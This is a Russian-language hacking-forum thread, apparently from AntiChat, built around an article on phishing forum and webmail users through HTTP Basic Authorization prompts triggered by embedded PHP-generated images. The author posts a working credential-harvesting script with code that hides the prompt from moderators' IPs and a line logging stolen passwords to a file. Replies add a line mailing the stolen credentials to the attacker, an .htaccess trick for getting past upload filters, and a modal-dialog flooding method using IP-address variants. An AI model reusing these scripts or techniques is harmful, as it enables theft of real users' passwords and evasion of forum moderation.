PDA

Просмотр полной версии : Применение Basic Authorization против форумов


hidden
25.06.2006, 17:51
http://cih.ms/hidden/auth_demo.php







































Я надеюсь, вы ввели не верные данные (не беспокойтесь то, что вы ввели, попало только на ту картинку, что на вашем экране), но если всёже верные это ещё раз даказывает возможности этого способа и эта статья поможет вам больше не покупаться на подобный метод авторизации, а вобще я ненашол статьи на подобную тему и решил написать.


Данный метод авторизации применяется очень редко, из-за отсутствия шифрования передаваемых серверу данных, отсутствия возможности изменения интерфейса ввода данных, а также из-за того, что введённые данные ассоциируются только с той страницей, на которой проводилась авторизация.
В основном он применяется аппаратными сетевыми средствами, например, для доступа к странице настроек, из-за простоты использования.


Этот способ применяется к документам любого типа, значит, к картинкам он тоже применяется, да и даже к тем картинкам, которые расположены на веб-странице и даже на защищённой странице(которой многие люди доверяют), на страницах почтовых ящиков, форумов и чатов где имеется возможность вставлять картинки.


Из предыдущего предложения сделаем вывод: Если применить этот метод в почитании с СИ, может что-то получиться.



Первый способ: Стырить пароль у юзера. Это наиболее полезный способ.


Закинув такую картинку в обычный форум или чат можно выловить некоторое количество логинов и паролей юзеров.


И вот он скрипт.


<?php

header("Content-type: image/png");

$im = imagecreate(256, 64);

imagecolorallocate($im, 0, 0, 0);

$green_color = imagecolorallocate($im, 0, 255, 0);

imagerectangle($im, 0, 0, 255, 63, $green_color);

$login = $_SERVER['PHP_AUTH_USER'];

$pass = $_SERVER['PHP_AUTH_PW'];

if ((strlen($login)<3) || (strlen($pass)<1)){

Header('HTTP/1.1 401 Unauthorized');

Header('WWW-Authenticate: Basic realm="hidden"');

imagestring($im, 2, 64, 25, "You're not authorized!", $green_color);

} else {

imagestring($im, 2, 16, 16, "Your login is '$login', and", $green_color);

imagestring($im, 2, 16, 36, "your password is '$pass'", $green_color);

}

imagepng($im);

imagedestroy($im);

?>



Именно он применён перед началом данной статьи.

Ты наверно скажешь, как только модератор это увидит, он сразу удалит эту картинку, если конечно он её увидит, для этого мы поставим фильтр, на IP адрес модера, для этого просто заменим эту строку



if ((strlen($login)<3) || (strlen($pass)<1)){


на


if (((strlen($login)<3) || (strlen($pass)<1)) && ($_SERVER['REMOTE_ADDR']<>'127.0.0.1')){



в данном случае 127.0.0.1 нужно заменить на реальный IP адрес модера, или модифицировать этот простенький скрипт, для фильтрации по спискам, думаю, если ты собераешся применять этот способ, значит, разберешься, как это сделать.


Ну и естественно нужно сохранить полученные данные



$fh=gzopen('pass.gz', 'a9');gzwrite($fh, "$login:$pass\n");gzclose($fh);



Если скрипт находится в корневой директории сайта, то лучше сохранять не в "pass.gz", а в "../pass.gz", чтобы нельзя было получить доступ к файлу из вэб.


Второй способ: Что-то вроде флуда, только хуже.


Если ты заметил, это модальное окно, значит пока его не закроешь нельзя продолжить пользоваться окном над которым оно открылось, ты скажешь, ну я просто закрою его и всего-то делов, а представь я вставил 50 таких картинок, и каждую придётся закрывать.


И так, мы сталкиваемся с такой проблемой, браузер привязывает эти данные к тому хосту(не странице, а хосту), с которого открыл, и чтобы обойти это нам потребуется личный IP, что не даёт нам бесплатный хостинг.


Зачем? А затем, что для браузера 127.0.0.1, 127.00.0.1, 127.0.00.1, 127.0.0.01 и даже 0177.0.0.1, последний ведёт туда же просто первый байт переведён восьмеричную систему счисления, также можно перекодировать её в HEX - 0x7f или 7fh, а вообще нулей перед цифрой в восьмеричной системе можно писать сколько угодно 127.0.000000000000.1, 00000000000177.0.0.1, но для браузера это разные хосты, потому что привязка текстовая.


Заметь:
- Приведённый скрипт, это скрипт PHP, его надо вставить в любой текстовый редактор и сохранить в формате php(не png, иначе придётся править .htaccess).
- Результатом этого скрипта, получается, не страница, а картинка, которую можно вставить cюда, или <img src="сюда">.


Решение проблемы: Я не представляю способов решения, кроме отключения картинок, но ведь это не выход. Убить двух яайцев избавиться от баннеров и лишних картинок можно установкой FireFox + Adblock plugin-а, это то, что я и делаю.



hidden специально для AntiChat

Dracula4ever
25.06.2006, 18:10
Я прочитал твою статью и честно говоря она мне не понравилась :-(


Посмотрим что другие люди скажут

hidden
25.06.2006, 18:20
Я прочитал твою статью и честно говоря она мне не понравилась :-(


Посмотрим что другие люди скажут

Тыбы написал что тебе непонравилось, раз уж начал, а так не**р флудить.

Dracula4ever
25.06.2006, 18:29
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :

<?php

header("Content-type: image/png");

$im = imagecreate(256, 64);

imagecolorallocate($im, 0, 0, 0);

$green_color = imagecolorallocate($im, 0, 255, 0);

imagerectangle($im, 0, 0, 255, 63, $green_color);

$login = $_SERVER['PHP_AUTH_USER'];

$pass = $_SERVER['PHP_AUTH_PW'];

if ((strlen($login)<3) || (strlen($pass)<1)){

Header('HTTP/1.1 401 Unauthorized');

Header('WWW-Authenticate: Basic realm="hidden"');

imagestring($im, 2, 64, 25, "You're not authorized!", $green_color);

} else {

imagestring($im, 2, 16, 16, "Your login is '$login', and", $green_color);

imagestring($im, 2, 16, 36, "your password is '$pass'", $green_color);

}

imagepng($im);

imagedestroy($im);

?>


А не несколько строчек

bul.666
25.06.2006, 18:53
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :


А не несколько строчек

Мне кажется все поняли...

hidden
25.06.2006, 18:57
Ты мог бы обьяснить весь этот код (я знаю PHP поэтому я понял но я уверен что некоторые его не знают) :


А не несколько строчек

Для тех кто хоть немного знает инглиш и какой небудь язык програмирования, будет достаточно понятно чтоб применить, если нет пусть читают Руководство по PHP (http://ru.php.net/manual/ru), а если кто-то нехочет и непонимает, нах тогда ему эта тема.

Utochka
25.06.2006, 19:00
прикинь даже и не задумывался что так мона тырить ))

nerezus
25.06.2006, 19:15
боян, но расписан хорошо )

hidden
25.06.2006, 19:18
боян, но расписан хорошо )

Ничего подобного, сам придумал, сам написал! Если ктото до меня это придумал, это не значит, что я у него содрал, приведи пример, откуда можно взять такую статью и на сколько она будет похожа на мою.

И вообще, я никогда ничего не сдираю!

max_pain89
25.06.2006, 22:04
Блин это мега статья, конечно вероятность ввода юзером пароля не очень высока, однако аффтор забыл про веб-интерфэйсы мыльников, там никаких модеров нету. Вобщем 5+, вернее 3.
Я думаю даже gmail.com не устоит. Давайте название этому всему придумаем.

hidden
25.06.2006, 22:36
Блин это мега статья, конечно вероятность ввода юзером пароля не очень высока, однако аффтор забыл про веб-интерфэйсы мыльников, там никаких модеров нету. Вобщем 5+, вернее 3.

Thax :) , а про мыльники я не забыл и не только про мыльники, я упоминал это, просто не углублялся, и так понятно.

Этот способ применяется к документам любого типа, значит, к картинкам он тоже применяется, да и даже к тем картинкам, которые расположены на веб-странице и даже на защищённой странице(которой многие люди доверяют), на страницах почтовых ящиков, форумов и чатов где имеется возможность вставлять картинки.

Я думаю даже gmail.com не устоит. Давайте название этому всему придумаем.

Название? Я думал над этим но придумал только "Basic Authorization против форумов".

Rebz
25.06.2006, 22:41
Basic Authorization Exchange
Basic Authorization Engeering
хых))хз с названием)) но способ оригинальный..

Rabid Rabbit
26.06.2006, 01:12
Мля таки почетал.
Майо придлажение выкинь Базик нах ваще из названия сбевает нимнога не в ту степь сразу асоцеации или с миме или с висуал васиком=)

back0rifice
26.06.2006, 02:24
В принципе, мне понравилось. Я так понял - хотя, может, и не совсем верно :) -, что здесь идёт речь о PHP-including'e в само изображение ;) ?

Догнал (просто пришёл по link'у с КВИПа, поэтому окна авторизации не прочухал)... hidden, молодца!

Xex
27.06.2006, 02:56
Первоисточник идеи, я так понимаю, http://forum.antichat.ru/thread20445.html

Вероятно ачатовцы не очень внимательны, ибо после прочтения топика "Досим топик" - до того, что написал хидын, догадаться должен был каждый...
P>S>используйте мозгъ...
P>S>S>ИМХО - слабо для статьи...

hidden
27.06.2006, 03:13
Первоисточник идеи, я так понимаю, http://forum.antichat.ru/thread20445.html

Вероятно ачатовцы не очень внимательны, ибо после прочтения топика "Досим топик" - до того, что написал хидын, догадаться должен был каждый...
P>S>используйте мозгъ...
P>S>S>ИМХО - слабо для статьи...

Не знаю, что было в той картинке, первый раз вижу этот пост, а идея лично моя, у меня безпроводной ротор такие хрени выдаёт, вот я и решил, применить.
"Досим" - юмарист. Ты знаешь что такое досить? Какое в топике обарудование? Что отказало?

Xex
27.06.2006, 06:35
Не знаю, что было в той картинке, первый раз вижу этот пост, а идея лично моя, у меня безпроводной ротор такие хрени выдаёт, вот я и решил, применить.

если действительно твоя, то яничего не имею против.

"Досим" - юмарист. Ты знаешь что такое досить? Какое в топике обарудование? Что отказало?
"ты хочешь поговорить об этом?"(це)
Ты начинаешь негодовать и кидаться словами - что не есть гуд, теперь ты понимаешь мое негодование, когда я увидел ето...и подумал, что этот наглый плагиат(не в чистом виде). :)
P>S>DOS - Денайед оф сёрвис...
сёрвис - энто предоставление услуг(с англ).
денайед - отказ(с англ).
форум предоставляет услуги для получения информации, топик в частности.
Соответственно, отказ обслуживания топика - это есть отказ в сервисе предоставления информации.

hidden
27.06.2006, 06:49
теперь ты понимаешь мое негодование, когда я увидел ето...и подумал, что этот наглый плагиат(не в чистом виде)

Понимаешь, плагиат - это когда один переписывает у другово, и при этом говорит, что это его, а вот когда в статью пишут, что это плагиат, с поста из 4х строк, это уже клевита.

alex-19841
27.06.2006, 07:16
а куда этот код вставлять? Чтоб он рабоьал. Пробовал в notepad вставить, а его переименовал в png при открытии картинки был просто показан php код

hidden
27.06.2006, 07:21
Этот код переименовывать не в png а в php надо и заливать на хоспинг с поддержкой PHP и GD, а потом с сайта открывать.
ещё можешь апач поставить, но лучьше хостинг (к примеру тот что у меня в примере).

Kanick
29.06.2006, 09:10
Ааааа!!! Честно, у меня была такая идея! Даже нахожусь на этапе ее реализации, и вот - наткнулся на эту статью. ИМХО - это очень перспективное направление, в эту сторону можно думать. Хотя я бы не стал об этом слишком распространяться, глядишь - и будут меры принимать ;)

Отличная статья, спасибо.

Kanick
29.06.2006, 09:16
Кстати, насчет решения. В Firefox, например, рядом с зоной авторизации показывается хост, на котором собственно лежит скрипт. И там, кажется, проблема с русскими кодировками в окошке - сложно вписать что-нибудь осмысленное. Но, к счастью, Firefox стоит у меньшинства :)

Егорыч+++
29.06.2006, 09:29
Это вообще не баг. И довольно старая вещь. Ничего с этого не поиметь. А забанить за такую картинку всегда можно, чтоб другим людям не мешали.

Kanick
29.06.2006, 09:54
Егорыч+++, не баг, но "хак". На форумах - да. Но в Сети еще полно мест, куда можно вставить такую картинку, разведя на этом кучу лохов.

nerezus
29.06.2006, 10:01
фишенг )

Otaku
29.06.2006, 17:30
фишенг )
+СИ :)

hidden
29.06.2006, 18:37
Это вообще не баг.
Но ведь, никто про баг и не говорил, это лишь "Basic Authorization" + СИ.
В Firefox, например, рядом с зоной авторизации показывается хост, на котором собственно лежит скрипт.
Да, а есль в строку браузера написать IP, а ещё если не просто IP, а в десятиричной форме, как думаещь, сколько процентов людей, непоймут что это такое.
И там, кажется, проблема с русскими кодировками в окошке - сложно вписать что-нибудь осмысленное.
Но ведь можно, развадить англоязычное население, а также, тех кто знает английский ;)

nerezus
29.06.2006, 18:43
а в десятиричной форме он в такой и идет =) в 16ричной так: 7f000001

hidden
29.06.2006, 18:50
А я миел в виду 3585395723 или семиричной 032555146013, как думаешь, куда эти адреса ведут?

Zadoxlik
29.06.2006, 18:56
Это вообще не баг ...

Это фича? :)

KOLBA
29.06.2006, 22:10
Прочитал статью за что автору респект , но я кое-что не понял .Помогите разобраться куда этот скрипт в 1 способе вставлять насколько я понял в картинку но если так то как !

hidden
29.06.2006, 22:26
Вставь его, в твой любимый текстовый редактор, например Блокнот(Notepad), сохрани под именем 111.php и залей на хостинг, а вот с хостингом, тебе придётся разбираться самому, они все разные.
Кстати тут (https://forum.antichat.ru/showpost.php?p=168278&postcount=22), я это уже упомянал.

KOLBA
29.06.2006, 22:52
ну а если залить на холм.ру или юкоз.ру ? И что мне эту страничку надо будет раздовать людям у которых я хочу узнать пасс и если они зайдут то пасс будет?

hidden
29.06.2006, 23:45
Я добавил новый пункт Заметь: к статье, посмотри.
Надеюсь после этого если ктото и будет задавать вопросы, они хотябы небудут повторятса.

Electro
14.07.2006, 09:47
Статья хорошая, молодец! Но у мну после ввода паролья и логина в картинке нифига не показывается что ваш логин тот и пароль этот а ту на форуме у тя показывает :confused: и еще pass.gz увеличивает байты ...окрываю а там точки в место пассов... не подскажешь в чем трабла?

hidden
14.07.2006, 18:41
Картинка может не показыаться, если нет поддержки GD в PHP, или может какая небудь левая версия, хз.
А строку сохранения паса ты поставил после определения переменных или до ;)
Советую их поставить, куда небудь, в место действия else, чтобы сохнанялись только тогда когда ввели что небудь, в оба поля.

cop
20.11.2006, 22:44
Кстати, как можно скрыть адрес сервера, на котором лежит скрипт?

hidden
20.11.2006, 22:47
Кстати, как можно скрыть адрес сервера, на котором лежит скрипт?Как-же тогда браузер поймёт к какому серверу обращаттся, если ты его скроишь? ;)

steamer
20.11.2006, 22:56
if ((strlen($login)<3) || (strlen($pass)<1)){
Я так понимаю смысл в том, что если длина логина меньше 3 символов или длина пароля меньше 1 символа то неавторизован. Но что-то я вбиваю и больше, а нифига. Не аффторизован, все время вылетает окошко снова и снова. Сначала грешил на фаерфокс, попробовал в экспорере - то же.

Arin
30.12.2006, 17:37
Статья хорошая. Мне понравилась.
Только вот кажеться не совсем удобным:
$fh=gzopen('pass.gz', 'a9');gzwrite($fh, "$login:$pass\n");gzclose($fh);
Мне больше подошло что бы пас с логином, если его кто то введет приходил на мыло. Для этого можно вышеозначенную строчку заменить например на:
mail("Ваше мыло@ya.ru","$login:$pass\n","(".$REMOTE_ADDR.")\n\n");
Логин и пас придут в теме письма, это полезно тк мыло будет зафлужено очень быстро. В теле письма будет ип человека.
Кстати на рамблер не приходит,а на яндекс да, остальные не проверял.
ЗЫ: строчка кода достаточна кривая, хотя и работает, лучше напишите свой вариант.

Еще раз респект автору статьи. Всем удачи.

hidden
30.12.2006, 20:30
mail(
'Ваше мыло@ya.ru',
'Basic Authorization против форумов',
"$login:$pass\n".
'IP: '.$_SERVER['REMOTE_ADDR'],
'Bill@microsoft.com',
'Content-Type: text/plain;'
);
Хотя в файл сохранять помоему гораздо удобние и быстрее

Arin
30.12.2006, 20:35
Cпасибо за нормальный код. :)

В файл - да, удобнее, но не в этот раз.

wils
12.08.2007, 12:17
Ребята, а как же сделать чтоб вылазило 50 таких табличек?????
Это что нужно 50 таких скриптов делать? =)

wils
12.08.2007, 19:28
и ещё, может ламерский вопрос, но как узнать IP адрес своего сайта, ну типа для www.site.ru будет 85.101.33.201.

nerezus
12.08.2007, 19:40
пропинговать попробуй )

wils
12.08.2007, 20:39
пропинговать попробуй )
эммммм......=)
А вот ещё
Ребята, а как же сделать чтоб вылазило 50 таких табличек?????
Это что нужно 50 таких скриптов делать? =)
Как тут быть??????

hidden
14.08.2007, 19:35
Ребята, а как же сделать чтоб вылазило 50 таких табличек?????
Это что нужно 50 таких скриптов делать? =)
И так, мы сталкиваемся с такой проблемой, браузер привязывает эти данные к тому хосту(не странице, а хосту), с которого открыл, и чтобы обойти это нам потребуется личный IP, что не даёт нам бесплатный хостинг.

Зачем? А затем, что для браузера 127.0.0.1, 127.00.0.1, 127.0.00.1, 127.0.0.01 и даже 0177.0.0.1, последний ведёт туда же просто первый байт переведён восьмеричную систему счисления, также можно перекодировать её в HEX - 0x7f или 7fh, а вообще нулей перед цифрой в восьмеричной системе можно писать сколько угодно 127.0.000000000000.1, 00000000000177.0.0.1, но для браузера это разные хосты, потому что привязка текстовая.127.0.0.1, 127.00.0.1, 127.0.00.1, 127.0.0.01 и даже 0177.0.0.1 - эти 5 строк обозначают один и тот-же ip адрес но для браузера это разные хосты, а значит, для каждого из них нужно запросить авторизацию ;) .

wils
15.08.2007, 17:25
Простите плизз мою тупость, но если я правельно всё понял, то так:
<img src="127.0.0.1/img.php">
<img src="127.00.0.1/img.php">
<img src="127.0.00.1/img.php">
<img src="0177.0.0.1/img.php">

XenOtai
25.08.2007, 00:43
Хотелось бы поделиться кое-чем. Сегодня встретил фильтрацию по расширению на форуме Invision Power Board(U) v1.3.1 Final, когда хотел разместить этот скрипт. Уже было отчаялся, но вспомнил про htaccess! Создаём на хосте папку, куда кидаем файл с расширением .htaccess со следующим содержанием:

AddType application/x-httpd-php .gif

Вместо .gif подставляем нужное расширение. Готово! Кидаем скрипт с этим же расширением в ту же папку! Теперь ваш скрипт пройдёт любую фильтрацию по расширению!

zl0y
26.08.2007, 14:25
hidden Молодец ! Статья ничего,побалываться и увести пару трой сотен паролей сойдет :) НАпример :"Введи пасс егорыч :)....",ну это я пошутил если вы непоняли :)

XenOtai
16.09.2007, 10:32
Ничего подобного, сам придумал, сам написал! Если ктото до меня это придумал, это не значит, что я у него содрал, приведи пример, откуда можно взять такую статью и на сколько она будет похожа на мою.

Я вот нашёл такую статью. :) Причём здесь же, на ачате. ;)

Кому интересно, смотрим тут:

http://forum.antichat.ru/thread7169.html

А вот цитата оттуда:

Продолжаем рассматривать эту же ситуацию. В некоторой системе (форуме), разрешено включать каким либо образом в сообщения картинки со сторонних серверов.

Каждый раз, когда каждый пользователь открывает html страницу с таким сообщением, его броузер делает запрос на сервер, который может контролироваться хакером, с целью получения тела изображения.

Теперь представим себе ситуацию, что на такой запрос, сервер ответил требованием авторизации. В такой ситуации, броузер запросит у каждого открывающего эту страницу пароль. Более того, надпись в окошке ввода пароля может быть произвольной и задается хакером.

Например, там может быть написано о сбое авторизации, и прочие фразы, создание которых относится уже к социо-инженерии.

Внимание. Есть данные, что броузер IE 6.x, может не запрашивать пароль в такой ситуации. Запрашивает пароль броузер mozilla всех версий, IE 5.x.

Если пользователь введет в этом окошке свои имя и пароль, то эти данные будут отправлены на сервер, контролируемый хакером.

Скрипт, генерирующий этот заголовок и принимающий данные может при повторном запросе (отслеживается по ip), вернуть содержимое изображение, без ответа о неудачной авторизации.

Таким образом, после того, как пользователь введет имя и пароль, страница откроется в обычном виде.

hidden
17.09.2007, 04:25
Я вот нашёл такую статью. :) Причём здесь же, на ачате. ;)

Кому интересно, смотрим тут:

http://forum.antichat.ru/thread7169.html
Чтож, значит я был не первый...

NOmeR1
17.09.2007, 16:03
Для тех, кто не понимает, как это сделать или применить это на практике, я снял видео
http://video.antichat.org/author/Nomer1.html

GRAVITY
12.10.2007, 23:04
Возник вопрос - а можно с помощью GIF-инъекции украсть куки пользователя, посетившего инфицированную страничку ? :confused:

NOmeR1
12.10.2007, 23:39
gif-инъекции
Первый раз слышу. Если ты имеешь ввиду картинку, "написанную" на php, то нет.

GRAVITY
13.10.2007, 00:03
А какие самые простые способы есть перехвата кукинсов ?

(сори за оффтоп)

hidden
15.10.2007, 03:58
1) Нет такого понятия как "gif-инъекции".
2) Украсть куки описанным способом нельзя.